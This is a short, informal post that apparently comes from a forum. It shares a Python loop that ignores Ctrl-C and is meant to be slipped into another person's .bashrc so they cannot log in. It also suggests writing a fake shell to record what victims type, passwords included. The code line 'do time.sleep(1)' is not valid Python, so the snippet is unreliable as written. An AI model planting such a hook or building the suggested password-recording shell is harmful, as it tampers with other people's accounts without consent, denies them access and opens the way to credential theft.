i just found a kind of neat trick for a linux / unix based system, you can stick this script in someone's .bashrc file and it'll hang there without letting them log in. if you wanted to get really creative you could make a program that would emulate a shell but would actually be recording what they type and their passwords and shit. anyway here's the code
import time
while (True):
try:
while (True):
do time.sleep(1)
except KeyboardInterrupt:
pass
and then put in their .bashrc file python login.py (or whatever).